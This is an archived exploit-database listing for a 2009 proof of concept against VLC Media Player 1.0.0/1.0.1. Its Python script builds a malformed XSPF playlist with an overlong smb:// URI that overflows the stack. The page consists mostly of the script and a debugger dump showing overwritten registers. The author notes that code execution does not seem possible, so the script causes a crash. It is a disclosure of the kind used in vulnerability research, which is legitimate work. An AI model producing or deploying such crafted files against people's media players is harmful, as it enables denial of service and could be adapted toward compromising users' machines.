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VLC Media Player URI Buffer Overflow

🗓️ 15 Aug 2009 00:00:00Reported by Dr_IDEType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

VLC Media Player URI Buffer Overflow PoC for SM

Code
`#!/usr/bin/env python  
  
############################################################################  
#  
# VLC Media Player 1.0.0\1.0.1 smb:// URI Handling Remote Stack Overflow PoC  
# Found By: Dr_IDE  
# Tested: Windows XP SP2 , XP SP3 and Windows 7 RC1  
# Thanks: Pankaj Kohli for finding this in 0.8.6f  
# Original: http://www.milw0rm.com/exploits/9303  
#  
############################################################################  
  
# Crash Breakdown of vlc v1.0.1 on XP SP2/SP3  
"""  
EAX FFFFFFFE  
ECX 42424242 <---- Bytes 3-6 of our payload  
EDX 00000000  
EBX 42424242 <---- Bytes 3-6 of our payload  
ESP 02CBF694  
EBP 02CBF7C4  
ESI 61CC8324 libacc_4.61CC8324  
EDI 61CC8323 libacc_4.61CC8323  
EIP 77C478AC msvcrt.77C478AC  
C 0 ES 0023 32bit 0(FFFFFFFF)  
P 0 CS 001B 32bit 0(FFFFFFFF)  
A 0 SS 0023 32bit 0(FFFFFFFF)  
Z 0 DS 0023 32bit 0(FFFFFFFF)  
S 0 FS 003B 32bit 7FFAC000(FFF)  
T 0 GS 0000 NULL  
D 0  
O 0 LastErr ERROR_MOD_NOT_FOUND (0000007E)  
EFL 00010202 (NO,NB,NE,A,NS,PO,GE,G)  
ST0 empty -UNORM FB18 77C2C3E7 00E128A0  
ST1 empty +UNORM 2088 00000000 00000000  
ST2 empty %#.19L  
ST3 empty -??? FFFF 00000000 77C2C42E  
ST4 empty 0.9999999999999289457  
ST5 empty %#.19L  
ST6 empty 0.9999999999999289457  
ST7 empty 0.5000000000000000000  
3 2 1 0 E S P U O Z D I  
FST 0020 Cond 0 0 0 0 Err 0 0 1 0 0 0 0 0 (GT)  
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1  
"""  
  
  
header1 = ("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n")  
header1 += ("<playlist version=\"1\" xmlns=\"http://xspf.org/ns/0/\" xmlns:vlc=\"http://www.videolan.org/vlc/playlist/ns/0/\">\n")  
header1 += ("\t<title>Playlist</title>\n")  
header1 += ("\t<trackList>\n")  
header1 += ("\t\t<track>\n")  
header1 += ("\t\t\t<location>smb://[email protected]/foo/#{")  
  
# Stack Overwrite after first 2 bytes of URI. It seems that you can't put traditional NOP's in here BTW.  
# Code execution does not seem possible.  
  
payload = ("\x41" * 2 + "\x42" * 4 + "\x43" * 10000)  
  
header2 = ("}</location>\n");  
header2 += ("\t\t\t<extension application=\"http://www.videolan.org/vlc/playlist/0\">\n");  
header2 += ("\t\t\t\t<vlc:id>0</vlc:id>\n");  
header2 += ("\t\t\t</extension>\n");  
header2 += ("\t\t</track>\n");  
header2 += ("\t</trackList>\n");  
header2 += ("</playlist>\n");  
  
try:  
f1 = open("vlc_1.0.X.xspf","w")  
f1.write(header1 + payload + header2)  
f1.close()  
print("\nExploit file created!\n")  
except:  
print "Error"  
  
  
`

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15 Aug 2009 00:00Current
1.1Low risk
Vulners AI Score1.1
19